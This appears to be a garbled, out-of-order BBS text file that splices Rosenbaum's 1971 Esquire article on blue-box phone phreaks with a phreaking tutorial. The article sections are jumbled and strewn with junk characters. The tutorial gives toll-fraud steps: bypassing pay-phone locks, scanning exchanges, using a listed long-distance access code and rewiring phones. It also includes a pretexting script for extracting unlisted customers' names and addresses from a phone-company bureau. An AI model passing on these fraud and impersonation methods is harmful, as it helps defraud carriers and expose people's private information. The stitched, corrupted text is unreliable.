like it. Believe me." "Yes, I've heard about it. Some other phone phreaks have told me about it." "They have been referring to my, ahem, unit? What is it they said? Just out of curiosity, did they tell you it was a highly sophisticated computer- operated unit, with acoustical coup]ling for receiving outputs and a switch-board with multiple-line-tie capability? Did they tell you that the frequency tolerance is guaranteed to be not more than .05 percent? The amplitude tolerance less than .01 decibel? Those pulses you heard were perfect. They just come faster than the phone company. Those were high-precision op-amps. Op-amps are instrumentation amplifiers designed for ultra-stable amplification, super-low distortion and accurate frequency response. Did they tellIITV you it can operate in temperatures from -55 degrees C to +125 degrees C?" I admit that they did not tell me all that. "I built it myself," the Captain goes on. "If you were to go out and buy the components from an industrial wholesaler it would cost you at least $1500. I once worked for a semiconductor company and all this didn't cost me a cent. Do you know what I mean? Did they tell you about how I put a call completely around the world? I'll tell you how I did it. I M-Fed Tokyo inward, who connected me to India, India connected me to Greece, Greece connected me to Pretoria, South Africa, South Africa connected me to South America, I went from South America to London, I had a London operator connect me to a New York operator, I had New York connect me to a California operator who rang the phone next to me. Needless to say I had to shout to hear myself. But the echo was far out. Fantastic. Delayed. It was delayed twenty seconds, but I could hear myse iklf talk to myself." "You mean you were speaking into the mouthpiece of one phone sending your voice around the world into your ear through a phone on the other side of your head?" I asked the Captain. I had a vision of something vaguely autoerotic going on, in a complex electronic way. "That's right," said the Captain. "I've also sent my voice around the world one way, going east on one phone, and going west on the other, going through cable one way, satellite the other, comi.Wng back together at the same time, ringing the two phones simultaneously and picking them up and whipping my voice both ways around the world back to me. Wow. That was a mind blower." "You mean you sit there with both phones on your ear and talk to yourself around the world," I said incredulously. "Yeah. Um hum. That's what I do. I connect the phone together and sit there and talk." "What do you say? What do you say to yourself when you're connected?" "Oh, you know. c Hello test one two three," he says in a low-pitched voice. "Hello test one two three," he replied to himself in a high-pitched voice. "Hello test one two three," he repeats again, low-pitched. "Hello test one two three," he replies, high-pitched. "I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off and breaks into laughter. Why Captain Crunch Hardly Ever Taps Phones Anymore Using internal phone-company codes, phone phreaks have learned Sa simple method for tapping phones. Phone-company operators have in front of them a board that holds verification jacks. It allows them to plug into conversations in case of emergency, to listen in to a line to determine if the line is busy or the circuits are busy. Phone phreaks have learned to beep out the codes which lead them to a verification operator, tell the verification operator they are switchmen from some other area code testing out verification trunks. Once the operator Q0)whistle." (Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast cereal offered a toy-whistle prize in every box as a treat for the Cap'n Crunch set. Somehow a phone phreak discovered that the toy whistle just happened to produce a perfect 2600-cycle tone. When the man who calls himself Captain Crunch was transferred overseas to England with his Air Force unit, he would receive scores of calls from his friends and "mute" them -- make them free of charge to them -- by blowing his Cap'n Crunch whistle into his end.) "Captain Crunch is one of the older phone phreaks," Gilbertson tells me. "He's an engineer who once got in a little trouble for fooling around with the phone, but he can't stop. Well, they guy drives across country in a Volkswagen van with an entire switchboard and a computerized super-sophisticated M-F-er in the back. He'll pull up to a phone booth on a lonely highway somewhere, snake a cable out of his bus, hook it ontoUs% the phone and sit for hours, days sometimes, sending calls zipping back and forth across the country, all over the world...." Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked for G---- T-----, his real name, or at least the name he uses when he's not dashing into a phone booth beeping out M-F tones faster than a speeding bullet and zipping phantomlike through the phone company's long-distance lines. When G---- T----- answered the phone and I t?YEold him I was preparing a story for Esquire about phone phreaks, he became very indignant. "I don't do that. I don't do that anymore at all. And if I do it, I do it for one reason and one reason only. I'm learning about a system. The phone company is a System. A computer is a System, do you understand? If I do what I do, it is only to explore a system. Computers, systems, that's my bag. The phone company is nothing but a computer." A tone of tightly restrained excitement enteQrs the Captain's voice when he starts talking about systems. He begins to pronounce each syllable with the hushed deliberation of an obscene caller. "Ma Bell is a system I want to explore. It's a beautiful system, you know, but Ma Bell screwed up. It's terrible because Ma Bell is such a beautiful system, but she screwed up. I learned how she screwed up from a couple of blind kids who wanted me to build a device. A certain device. They said it could make free calls. I wasn't interested in free calls. But when these blind kids told me I could make calls into a computer, my eyes lit up. I wanted to learn about computers. I wanted to learn about Ma Bell's computers. So I build the little device, but I built it wrong and Ma Bell found out. Ma Bell can detect things like that. Ma Bell knows. So I'm strictly rid of it now. I don't do it. Except for learning purposes." He pauses. "So you want to write an article. Are you paying for this call? Hang up and call this FNnumber." He gives me a number in a area code a thousand miles away of his own. I dial the number. "Hello again. This is Captain Crunch. You are speaking to me on a toll-free loop-around in Portland, Oregon. Do you know what a toll-free loop around is? I'll tell you. He explains to me that almost every exchange in the country has open test numbers which allow other exchanges to test their connections with it. Most of these numbers occur in consecutive pairs, such as 302 956-0jpD041 and 302 956-0042. Well, certain phone phreaks discovered that if two people from anywhere in the country dial the two consecutive numbers they can talk together just as if one had called the other's number, with no charge to either of them, of course. "Now our voice is looping around in a 4A switching machine up there in Canada, zipping back down to me," the Captain tells me. "My voice is looping around up there and back down to you. And it can't ever cost anyone money. Ther phone phreaks and I have compiled a list of many many of these numbers. You would be surprised if you saw the list. I could show it to you. But I won't. I'm out of that now. I'm not out to screw Ma Bell. I know better. If I do anything it's for the pure knowledge of the System. You can learn to do fantastic things. Have you ever heard eight tandems stacked up? Do you know the sound of tandems stacking and unstacking? Give me your phone number. Okay. Hang up now and wait a minute." *wZ Slightly less than a minute later the phone rang and the Captain was on the line, his voice sounding far more excited, almost aroused. "I wanted to show you what it's like to stack up tandems. To stack up tandems." (Whenever the Captain says "stack up" it sounds as if he is licking his lips.) "How do you like the connection you're on now?" the Captain asks me. "It's a raw tandem. A raw tandem. Ain't nothin' up to it but a tandem. Now I'm going to show you what it's like ( to stack up. Blow off. Land in a far away place. To stack that tandem up, whip back and forth across the country a few times, then shoot on up to Moscow. "Listen," Captain Crunch continues. "Listen. I've got line tie on my switchboard here, and I'm gonna let you hear me stack and unstack tandems. Listen to this. It's gonna blow your mind." First I hear a super rapid-fire pulsing of the flutelike phone tones, then a pause, then another popping burst of tones, then another, thnting tape for the past day, it records that a call of a certain length of time was made from your New Orleans home to an L.A. 800 number and, of course, the accounting computer has been trained to ignore those toll-free 800 calls when compiling your monthly bill. "All they can prove is that you made an 800 toll-free call," Gilbertson the inventor concludes. "Of course, if you're foolish enough to talk for two hours on an 800 call, and they've installed one of their special anti-fraud computer programs to watch out for such things, they may spot you and ask why you took two hours talking to Army Recruiting's 800 number when you're 4-F. But if you do it from a pay phone, they may discover something peculiar the next day -- if they've got a blue-box hunting program in their computer -- but you'll be a long time gone from the pay phone by then. Using a pay phone is almost guaranteed safe." "What about the recent series of blue-box arrests all across theP country -- New York, Cleveland, and so on?" I asked. "How were they caught so easily?" "From what I can tell, they made one big mistake: they were seizing trunks using an area code plus 555-1212 instead of an 800 number. Using 555 is easy to detect because when you send multi-frequency beep tones of 555 you get a charge for it on your tape and the accounting computer knows there's something wrong when it tries to bill you for a two-hour call to Akron, Ohio, information, and it ʳcdrops a trouble card which goes right into the hands of the security agent if they're looking for blue-box user. "Whoever sold those guys their blue boxes didn't tell them how to use them properly, which is fairly irresponsible. And they were fairly stupid to use them at home all the time." "But what those arrests really mean is than an awful lot of blue boxes are flooding into the country and that people are finding them so easy to make that they know how to make them befo06re they know how to use them. Ma Bell is in trouble." And if a blue-box operator or a cassette-recorder phone phreak sticks to pay phones and 800 numbers, the phone company can't stop them? "Not unless they change their entire nationwide long-lines technology, which will take them a few billion dollars and twenty years. Right now they can't do a thing. They're screwed." ***** The AAG Proudly Presents The AAG Proudly Presents ***** * txm * * +----------------------------------------------+ * * * * Secrets of the Little Blue Box * * * * by Ron Rosenbaum * * Typed by One Farad Cap/AAG * * U * * -A story so incredible it may even make you * * feel sorry for the phone company- * * * * (Second of four files) * * * * +----------------------------------------------+ * * ʘ * ***** The AAG Proudly Presents The AAG Proudly Presents ***** Captain Crunch Demonstrates His Famous Unit There is an underground telephone network in this country. Gilbertson discovered it the very day news of his activities hit the papers. That evening his phone began ringing. Phone phreaks from Seattle, from Florida, from New York, from San Jose, and from Los Angeles began calling him and telling him about tche phone-phreak network. He'd get a call from a phone phreak who'd say nothing but, "Hang up and call this number." When he dialed the number he'd find himself tied into a conference of a dozen phone phreaks arranged through a quirky switching station in British Columbia. They identified themselves as phone phreaks, they demonstrated their homemade blue boxes which they called "M-Fers" (for "multi-frequency," among other things) for him, they talked shop about phone-phreak device%s. They let him in on their secrets on the theory that if the phone company was after him he must be trustworthy. And, Gilbertson recalls, they stunned him with their technical sophistication. I ask him how to get in touch with the phone-phreak network. He digs around through a file of old schematics and comes up with about a dozen numbers in three widely separated area codes. "Those are the centers," he tells me. Alongside some of the numbers he writes in first names or nickC&names: names like Captain Crunch, Dr. No, Frank Carson (also a code word for a free call), Marty Freeman (code word for M-F device), Peter Perpendicular Pimple, Alefnull, and The Cheshire Cat. He makes checks alongside the names of those among these top twelve who are blind. There are five checks. I ask him who this Captain Crunch person is. "Oh. The Captain. He's probably the most legendary phone phreak. He calls himself Captain Crunch after the notorious Cap'n Crunch 2600 QMƲeak was this blind kid with perfect pitch, Joe Engressia, who used to whistle into the phone. An operator could tell the difference between his whistle and the phone company's electronic tone generator, but the phone company's switching circuit can't tell them apart. The bigger the phone company gets and the further away from human operators it gets, the more vulnerable it becomes to all sorts of phone phreaking." A Guide for the Perplexed "But wait a minute," I stop GilbertxLson. "If everything you do sounds like phone-company equipment, why doesn't the phone company charge you for the call the way it charges its own equipment?" "Okay. That's where the 2600-cycle tone comes in. I better start from the beginning." The beginning he describes for me is a vision of the phone system of the continent as thousands of webs, of long-line trunks radiating from each of the hundreds of toll switching offices to the other toll switching offices. Each toll swihtching office is a hive compacted of thousands of long-distance tandems constantly whistling and beeping to tandems in far-off toll switching offices. The tandem is the key to the whole system. Each tandem is a line with some relays with the capability of signalling any other tandem in any other toll switching office on the continent, either directly one-to-one or by programming a roundabout route through several other tandems if all the direct routes are busy. For instance, ifS you want to call from New York to Los Angeles and traffic is heavy on all direct trunks between the two cities, your tandem in New York is programmed to try the next best route, which may send you down to a tandem in New Orleans, then up to San Francisco, or down to a New Orleans tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up to Los Angeles. When a tandem is not being used, when it's sitting there waiting for someone to make a long-distance cC_1all, it whistles. One side of the tandem, the side "facing" your home phone, whistles at 2600 cycles per second toward all the home phones serviced by the exchange, telling them it is at their service, should they be interested in making a long-distance call. The other side of the tandem is whistling 2600 c.p.s. into one or more long-distance trunk lines, telling the rest of the phone system that it is neither sending nor receiving a call through that trunk at the moment, that it h|as no use for that trunk at the moment. "When you dial a long-distance number the first thing that happens is that you are hooked into a tandem. A register comes up to the side of the tandem facing away from you and presents that side with the number you dialed. This sending side of the tandem stops whistling 2600 into its trunk line. When a tandem stops the 2600 tone it has been sending through a trunk, the trunk is said to be "seized," and is now ready to carry the number you hqave dialed -- converted into multi-frequency beep tones -- to a tandem in the area code and central office you want. Now when a blue-box operator wants to make a call from New Orleans to New York he starts by dialing the 800 number of a company which might happen to have its headquarters in Los Angeles. The sending side of the New Orleans tandem stops sending 2600 out over the trunk to the central office in Los Angeles, thereby seizing the trunk. Your New Orleans tandem begins sec2nding beep tones to a tandem it has discovered idly whistling 2600 cycles in Los Angeles. The receiving end of that L.A. tandem is seized, stops whistling 2600, listens to the beep tones which tell it which L.A. phone to ring, and starts ringing the 800 number. Meanwhile a mark made in the New Orleans office accounting tape notes that a call from your New Orleans phone to the 800 number in L.A. has been initiated and gives the call a code number. Everything is routine so far. WBut then the phone phreak presses his blue box to the mouthpiece and pushes the 2600-cycle button, sending 2600 out from the New Orleans tandem to the L.A. tandem. The L.A. tandem notices 2600 cycles are coming over the line again and assumes that New Orleans has hung up because the trunk is whistling as if idle. The L.A. tandem immediately ceases ringing the L.A. 800 number. But as soon as the phreak takes his finger off the 2600 button, the L.A. tandem assumes the trunk is once o again being used because the 2600 is gone, so it listens for a new series of digit tones - to find out where it must send the call. Thus the blue-box operator in New Orleans now is in touch with a tandem in L.A. which is waiting like an obedient genie to be told what to do next. The blue-box owner then beeps out the ten digits of the New York number which tell the L.A. tandem to relay a call to New York City. Which it promptly does. As soon as your party picks up the phone in N @ew York, the side of the New Orleans tandem facing you stops sending 2600 cycles to you and stars carrying his voice to you by way of the L.A. tandem. A notation is made on the accounting tape that the connection has been made on the 800 call which had been initiated and noted earlier. When you stop talking to New York a notation is made that the 800 call has ended. At three the next morning, when the phone company's accounting computer starts reading back over the master accouwChow to tap into lines overseas with this thing yet." Fraser begins to phreak around, as the phone phreaks say. He dials a leading nationwide charge card's 800 number and punches out the tones that bring him the time recording in Sydney, Australia. He beeps up the weather recording in Rome, in Italian of course. He calls a friend in Boston and talks about a certain over-the-counter stock they are into heavily. He finds the Paris number busy again. He calls up "Dial a Disc" in Lon=Ydon, and we listen to Double Barrel by David and Ansil Collins, the number-one hit of the week in London. He calls up a dealer of another sort and talks in code. He calls up Joe Engressia, the original blind phone-phreak genius, and pays his respects. There are other calls. Finally Fraser gets through to his young lady in Paris. They both agree the circuits must have been busy, and criticize the Paris telephone system. At two-thirty in the morning Fraser hangs up, pockets his diXAqme, and drives off, steering with one hand, holding what he calls his "lovely little blue box" in the other. You Can Call Long Distance For Less Than You Think "You see, a few years ago the phone company made one big mistake," Gilbertson explains two days later in his apartment. "They were careless enough to let some technical journal publish the actual frequencies used to create all their multi-frequency tones. Just a theoretical article some Bell Telephone Laboratories enHUgineer was doing about switching theory, and he listed the tones in passing. At ----- (a well-known technical school) I had been fooling around with phones for several years before I came across a copy of the journal in the engineering library. I ran back to the lab and it took maybe twelve hours from the time I saw that article to put together the first working blue box. It was bigger and clumsier than this little baby, but it worked." It's all there on public record in that tet9chnical journal written mainly by Bell Lab people for other telephone engineers. Or at least it was public. "Just try and get a copy of that issue at some engineering-school library now. Bell has had them all red-tagged and withdrawn from circulation," Gilbertson tells me. "But it's too late. It's all public now. And once they became public the technology needed to create your own beeper device is within the range of any twelve-year-old kid, any twelve-year-old blind kid as a maptter of fact. And he can do it in less than the twelve hours it took us. Blind kids do it all the time. They can't build anything as precise and compact as my beeper box, but theirs can do anything mine can do." "How?" "Okay. About twenty years ago A.T.&T. made a multi-billion-dollar decision to operate its entire long-distance switching system on twelve electronically generated combinations of twelve master tones. Those are the tones you sometimes hear in the background aGfter you've dialed a long-distance number. They decided to use some very simple tones -- the tone for each number is just two fixed single-frequency tones played simultaneously to create a certain beat frequency. Like 1300 cycles per second and 900 cycles per second played together give you the tone for digit 5. Now, what some of these phone phreaks have done is get themselves access to an electric organ. Any cheap family home-entertainment organ. Since the frequencies are public kn\aowledge now -- one blind phone phreak has even had them recorded in one of the talking books for the blind -- they just have to find the musical notes on the organ which correspond to the phone tones. Then they tape them. For instance, to get Ma Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900 and 700 cycles per second) at the same time. To produce the tone for 2 it's F~5 and C~6 (1100 and 700 c.p.s). The phone phreaks circulate the whole list of notes so the ere's no trial and error anymore." He shows me a list of the rest of the phone numbers and the two electric organ keys that produce them. "Actually, you have to record these notes at 3 3/4 inches-per-second tape speed and double it to 7 1/2 inches-per-second when you play them back, to get the proper tones," he adds. "So once you have all the tones recorded, how do you plug them into the phone system?" "Well, they take their organ and their cassette recorder, and starhЍt banging out entire phone numbers in tones on the organ, including country codes, routing instructions, 'KP' and 'Start' tones. Or, if they don't have an organ, someone in the phone-phreak network sends them a cassette with all the tones recorded, with a voice saying 'Number one,' then you have the tone, 'Number two,' then the tone and so on. So with two cassette recorders they can put together a series of phone numbers by switching back and forth from number to number. Any idiot inפui the country with a cheap cassette recorder can make all the free calls he wants." "You mean you just hold the cassette recorder up the mouthpiece and switch in a series of beeps you've recorded? The phone thinks that anything that makes these tones must be its own equipment?" "Right. As long as you get the frequency within thirty cycles per second of the phone company's tones, the phone equipment thinks it hears its own voice talking to it. The original granddaddy phone phr1>nections Are Made About eleven o'clock two nights later Fraser Lucey has a blue box in the palm of his left hand and a phone in the palm of his right. He is standing inside a phone booth next to an isolated shut-down motel off Highway 1. I am standing outside the phone booth. Fraser likes to show off his blue box for people. Until a few weeks ago when Pacific Telephone made a few arrests in his city, Fraser Lucey liked to bring his blue box (This particular blue box, like ڪmost blue boxes, is not blue. Blue boxes have come to be called "blue boxes" either because 1) The first blue box ever confiscated by phone-company security men happened to be blue, or 2) To distinguish them from "black boxes." Black boxes are devices, usually a resistor in series, which, when attached to home phones, allow all incoming calls to be made without charge to one's caller.) to parties. It never failed: a few cheeps from his device and Fraser became the center of attentioѹVn at the very hippest of gatherings, playing phone tricks and doing request numbers for hours. He began to take orders for his manufacturer in Mexico. He became a dealer. Fraser is cautious now about where he shows off his blue box. But he never gets tired of playing with it. "It's like the first time every time," he tells me. Fraser puts a dime in the slot. He listens for a tone and holds the receiver up to my ear. I hear the tone. Fraser begins describing, with a certain pHracticed air, what he does while he does it. "I'm dialing an 800 number now. Any 800 number will do. It's toll free. Tonight I think I'll use the ----- (he names a well-know rent-a-car company) 800 number. Listen, It's ringing. Here, you hear it? Now watch." He places the blue box over the mouthpiece of the phone so that the one silver and twelve black push buttons are facing up toward me. He presses the silver button --the one at the top-- and I hear that high-pitched beep. "That'wms 2600 cycles per second to be exact," says Lucey. "Now, quick. listen." He shoves the earpiece at me. The ringing has vanished. The line gives a slight hiccough, there is a sharp buzz, and then nothing but soft white noise. "We're home free now," Lucey tells me, taking back the phone and applying the blue box to its mouthpiece once again. "We're up on a tandem, into a long-lines trunk. Once you're up on a tandem, you can send yourself anywhere you want to go." He decides to che &ck out London first. He chooses a certain pay phone located in Waterloo Station. This particular pay phone is popular with the phone-phreaks network because there are usually people walking by at all hours who will pick it up and talk for a while. He presses the lower left-hand corner button which is marked "KP" on the face of the box. "That's Key Pulse. It tells the tandem we're ready to give it instructions. First I'll punch out KP 182 START, which will slide us into the overs teas sender in White Plains. "I hear a neat clunk-cheep." I think we'll head over to England by satellite. Cable is actually faster and the connection is somewhat better, but I like going by satellite. So I just punch out KP Zero 44. The Zero is supposed to guarantee a satellite connection and 44 is the country code for England. Okay... we're there. In Liverpool actually. Now all I have to do is punch out the London area code which is 1, and dial up the pay phone. Here, listen, I've lgot a ring now." I hear the soft quick purr-purr of a London ring. Then someone picks up the phone. "Hello," says the London voice. "Hello. Who's this?" Fraser asks. "Hello. There's actually nobody here. I just picked this up while I was passing by. This is a public phone. There's no one here to answer actually." "Hello. Don't hang up. I'm calling from the United States." "Oh. What is the purpose of the call? This is a public phone you know." "Oh. You know. To check out, uShh, to find out what's going on in London. How is it there?" "Its five o'clock in the morning. It's raining now." "Oh. Who are you?" The London passerby turns out to be an R.A.F. enlistee on his way back to the base in Lincolnshire, with a terrible hangover after a thirty-six-hour pass. He and Fraser talk about the rain. They agree that it's nicer when it's not raining. They say good-bye and Fraser hangs up. His dime returns with a nice clink. "Isn't that far out," he sa~3ys grinning at me. "London, like that." Fraser squeezes the little blue box affectionately in his palm. "I told ya this thing is for real. Listen, if you don't mind I'm gonna try this girl I know in Paris. I usually give her a call around this time. It freaks her out. This time I'll use the ------ (a different rent-a-car company) 800 number and we'll go by overseas cable, 133; 33 is the country code for France, the 1 sends you by cable. Okay, here we go.... Oh damn. Busy. Who coþҽuld she be talking to at this time?" A state police car cruises slowly by the motel. The car does not stop, but Fraser gets nervous. We hop back into his car and drive ten miles in the opposite direction until we reach a Texaco station locked up for the night. We pull up to a phone booth by the tire pump. Fraser dashes inside and tries the Paris number. It is busy again. "I don't understand who she could be talking to. The circuits may be busy. It's too bad I haven't learned 5 even make you * * feel sorry for the phone company- * * * * (First of four files) * * * * +----------------------------------------------+ * * * ***** The AAG Proudly Presentۻs The AAG Proudly Presents ***** Dudes... These four files contain the story, "Secrets of the Little Blue Box", by Ron Rosenbaum. -A story so incredible it may even make you feel sorry for the phone company- Printed in the October 1971 issue of Esquire Magazine. If you happen to be in a library and come across a collection of Esquire magazines, the October 1971 issue is the first issue printed in the smaller format. The story begins on page 116 with a picture of a blue box. I#G --One Farad Cap, Atlantic Anarchist Guild The Blue Box Is Introduced: Its Qualities Are Remarked I am in the expensively furnished living room of Al Gilbertson (His real name has been changed.), the creator of the "blue box." Gilbertson is holding one of his shiny black-and-silver "blue boxes" comfortably in the palm of his hand, pointing out the thirteen little red push buttons sticking up from the console. He is dancing his fingers overh the buttons, tapping out discordant beeping electronic jingles. He is trying to explain to me how his little blue box does nothing less than place the entire telephone system of the world, satellites, cables and all, at the service of the blue-box operator, free of charge. "That's what it does. Essentially it gives you the power of a super operator. You seize a tandem with this top button," he presses the top button with his index finger and the blue box emits a high-pitched chelep, "and like that" -- cheep goes the blue box again -- "you control the phone company's long-distance switching systems from your cute little Princes phone or any old pay phone. And you've got anonymity. An operator has to operate from a definite location: the phone company knows where she is and what she's doing. But with your beeper box, once you hop onto a trunk, say from a Holiday Inn 800 (toll-free) number, they don't know where you are, or where you're coming from, they donĮ~R't know how you slipped into their lines and popped up in that 800 number. They don't even know anything illegal is going on. And you can obscure your origins through as many levels as you like. You can call next door by way of White Plains, then over to Liverpool by cable, and then back here by satellite. You can call yourself from one pay phone all the way around the world to a pay phone next to you. And you get your dime back too." "And they can't trace the calls? They can'{ռt charge you?" "Not if you do it the right way. But you'll find that the free-call thing isn't really as exciting at first as the feeling of power you get from having one of these babies in your hand. I've watched people when they first get hold of one of these things and start using it, and discover they can make connections, set up crisscross and zigzag switching patterns back and forth across the world. They hardly talk to the people they finally reach. They say hello and starܥ6t thinking of what kind of call to make next. They go a little crazy." He looks down at the neat little package in his palm. His fingers are still dancing, tapping out beeper patterns. "I think it's something to do with how small my models are. There are lots of Blue Boxes around, but mine are the smallest and most sophisticated electronically. I wish I could show you the prototype we made for our big syndicate order." He sighs. "We had this order for a thousand beeper boxes ]from a syndicate front man in Las Vegas. They use them to place bets coast to coast, keep lines open for hours, all of which can get expensive if you have to pay. The deal was a thousand blue boxes for $300 apiece. Before then we retailed them for $1500 apiece, but $300,000 in one lump was hard to turn down. We had a manufacturing deal worked out in the Philippines. Everything ready to go. Anyway, the model I had ready for limited mass production was small enough to fit inside a fliFp-top Marlboro box. It had flush touch panels for a keyboard, rather than these unsightly buttons, sticking out. Looked just like a tiny portable radio. In fact, I had designed it with a tiny transistor receiver to get one AM channel, so in case the law became suspicious the owner could switch on the radio part, start snapping his fingers, and no one could tell anything illegal was going on. I thought of everything for this model -- I had it lined with a band of thermite which could.S be ignited by radio signal from a tiny button transmitter on your belt, so it could be burned to ashes instantly in case of a bust. It was beautiful. A beautiful little machine. You should have seen the faces on these syndicate guys when they came back after trying it out. They'd hold it in their palm like they never wanted to let it go, and they'd say, 'I can't believe it. I can't believe it.' You probably won't believe it until you try it." The Blue Box Is Tested: Certain Con0J$'><><><><><><><><><><><><><><><><><><> 4. Use a charge-a-call fone. (These also make great extensions if you remove it using a hex wrench with a hole in the middle on the center screw!)--(These fones, for the benefit of those who don't know, are blue with no coin slots). 5. Use a pay fone that wants your money before the dial tone. Put in your dime, dial the #; If it's an 800 # then your dime will come back, immediately put a dime back in (It'll come back when you hang up!) If it is a tone first fone and it disconnects the keypad (Some don't) then find another fone. Well now we know a little vocabulary, and now its into history, Phreak history. Back at MIT in 1964 arrived a student by the name of Stewart Nelson, who was extremely interested in the telephone. Before entering MIT, he had built autodialers, cheese boxes, and many more gadgets. But when he came to MIT he became even more interested in "fone-hacking" as they called it. After a little whil e he naturally started using the PDP-1, the schools computer at that time, and from there he decided that it would be interesting to see whether the computer could generate the frequencies required for blue boxing. The hackers at MIT were not interested in ripping off Ma Bell, but just exploring the telephone network. Stew (as he was called) wrote a program to generate all the tones and set off into the vast network. Now there were more people phreaking than the ones at MIT. Most該 people have heard of Captain Crunch (No not the cereal), he also discovered how to take rides through the fone system, with the aid of a small whistle found in a cereal box (can we guess which one?). By blowing this whistle, he generated the magical 2600hz and into the mouthpiece it sailed, giving him complete control over the system. I have heard rumors that at one time he made about 1/4 of the calls coming out of San Francisco. He got famous fast. He made the cover of people mag=kazine and was interviewed several times (as you'll soon see). Well he finally got caught after a long adventurous career. After he was caught he was put in jail and was beaten up quite badly because he would not teach other inmates how to box calls. After getting out, he joined Apple computer and is still out there somewhere. Then there was Joe the Whistler, blind form the day he was born. He could whistle a perfect 2600hz tone. It was rumored phreaks used to call him to tune theair boxes. Well that was up to about 1970, then from 1970 to 1979, phreaking was mainly done by college students, businessmen and anyone who knew enough about electronics and the fone company to make a 555 Ic to generate those magic tones. Businessmen and a few college students mainly just blue box to get free calls. The others were still there, exploring 800#'s and the new ESS systems. ESS posed a big problem for phreaks then and even a bigger one now. ESS was not widespread, buYNt where it was, blue boxing was next to impossible except for the most experienced phreak. Today ESS is installed in almost all major cities and blue boxing is getting harder and harder. 1978 marked a change in phreaking, the Apple ][, now a computer that was affordable, could be programmed, and could save all that precious work on a cassette. Then just a short while later came the Apple Cat modem. With this modem, generating all blue box tones was easy as writing a program to c]ount form one to ten (a little exaggerated). Pretty soon programs that could imitate an operator just as good as the real thing were hitting the community, TSPS and Cat's Meow, are the standard now and are the best. 1982-1986: LD services were starting to appear in mass numbers. People now had programs to hack LD services, telephone exchanges, and even passwords. By now many phreaks were getting extremely good and BBS's started to spring up everywhere, each having many documentaUZ1tions on phreaking for the novice. Then it happened, the movie War Games was released and mass numbers of sixth grade to all ages flocked to see it. The problem wasn't that the movie was bad, it was that now EVERYONE wanted to be a hacker/phreak. Novices came out in such mass numbers, that bulletin boards started to be busy 24 hours a day. To this day, they still have not recovered. Other problems started to occur, novices guessed easy passwords on large government computers and star/ted to play around... Well it wasn't long before they were caught, I think that many people remember the 414-hackers. They were so stupid as to say "yes" when the computer asked them whether they'd like to play games. Well at least it takes the heat off the real phreaks/hacker/krackers. ***** The AAG Proudly Presents The AAG Proudly Presents ***** * * * +---------------------------------------لp-------+ * * * * Secrets of the Little Blue Box * * * * by Ron Rosenbaum * * Typed by One Farad Cap/AAG * * * * -A story so incredible it mayulls you long-distance, they are billed from the moment you answer. The telco knows when you answer due to a certain amount of voltage that flows when you pick up the phone. However, the resistor cuts down on the voltage so it is below the billing range but sufficient enough to operate the mouthpiece. Answering the phone for a fraction of a second stops the ring but it is not enough for billing to start. If the phone is answered for even one full second, billing will start and you wiϐ6ll be cut off when you hang up and switch to free.

Fret no more Zaphellow phreaks, for every system can be beaten with a little knowledge! There are two ways to beat this obstacle, first pick the lock, I don't have the time to teach locksmithing so we go to the second method which takes advantage of telephone electronics. To be as simple as possible, when you pick up the fone you complete a circuit know as a local loop. When you hang-up you break the circuit. When you dial (pulse) it also breaks the circuit but not long enough to hang up! S0o you can "push-dial.". To do this you >>> rapidly <<< depress the switchhook. For example, to dial an operator (And then give her the number you want called) >>> rapidly <<< & >>> evenly <<< depress the switchhook 10 times. To dial 634-1268, depress 6 x's pause, then 3 x's, pause, then 4x's, etc. It takes a little practice but you'll get the hang of it. Try practicing with your own # so you'll get a busy tone when right. It'll also work on touch-tone(tm) since a dtmf line will al]so accept pulse. Also, never depress the switchhook for more than a second or it'll hang-up! Finally, remember that you have just as much right to that fone as the asshole who put the lock on it! <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> EXCHANGE SCANNING <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Almost every exchange in the bell system has test #'s and other "goodies" such as loops with dial-ups. These "goodies" are usually found between 9900 and 9999 in your local exchange. If you have the time and initiative, scan your exchange and you may become lucky! Here are my findings in the 914-268 exchange: 9900 - ANI (See separate bulletin) 9901 - ANI (See separate bulletin) 9927 - OSC. Tone (Possible tone side of a loop) 9936 - Voice # To the telco central office 9937 - Voice # To the telco central office 9941 - Computer (Digital Voice Transmission?) 9960 - OSC.

Have phun and remember it's only a local call! <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> TOUCH-TONE & FREE CALLS <><><><><><><><><><><><><><><><><><><ٽ><><><><><><><><><><><> There are several ways to make free calls (sprint, mci, etc.) using a rotary phone. They are: 1. Use a number that accepts voice as well as DTMF. Such a # is (800) 521-8400. As of writing this, a code was 00717865. A) If using voice, wait for the computer to say, "authorization #, please." Then say each digit slowly, it will beep after each digit is said. After every group of digits, it will repeat what you have said, then say yes if it is correckDt, otherwise say no. If the access code is correct, it will thank you and ask for the destination #, then say the area code + number as above. Another such # is (800) 245-8173, which has a 6 digit access code. (Note: if using touch-tone on this #, enter the code immediately after the tone stops.) 2. Hook up a touch-tone fone into your rotary fone. Attach the red wire from the touch-tone fone to the "r" terminal inside the fone on the network box. Then hook the green wire to the "b#" terminal. To use this dial the # using rotary & then use the touch-tone for the codes. (Don't hang up the rotary fone while doing this though!) If this doesn't work then reverse the 2 wires. (Note:if your line can accept touch-tone but you have a rotary fone then you can hook up a tone fone directly for all calls but this usually isn't the case.) Such as radio shack's 43-138. <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> OTHER ALTERNATIVES <><><><><><><><><><><><~this world. VIII.

CN/A NUMBERS <><><>R<><><><><><><><><><><><><><><><><><><><><><><><><><><> Customer name & address bureaus exist so that authorized bell employees may obtain the name & address of any customer in the bell system by giving the cn/a operator the customer's tel-#. all customers are maintained on file including unlisted #'S. These bureaus have many uses for phreaks. Here is how an employee might go about calling CN/A: "Hi, this is John Doe from the Miami Residential Service Center, can I have the czdustomers name at (123) 555-1212." The employees usually use these for checking who belongs to a # that someone claimed they didn't call.If you sound cheery and natural the operator will never ask any questions. If you don't sound like a mature adult, don't use it! Always practice first & so you don't screw up and make the operator suspicious. Use name that sounds real, not your pirate name either! Also say that you are from a city that is far away from the one that you are cav{lling. The CN/A number for the ny area & vicinity (212, 315, 516, 518, 607, 716, & 914), is 518/471-8111, and is open during business hours.

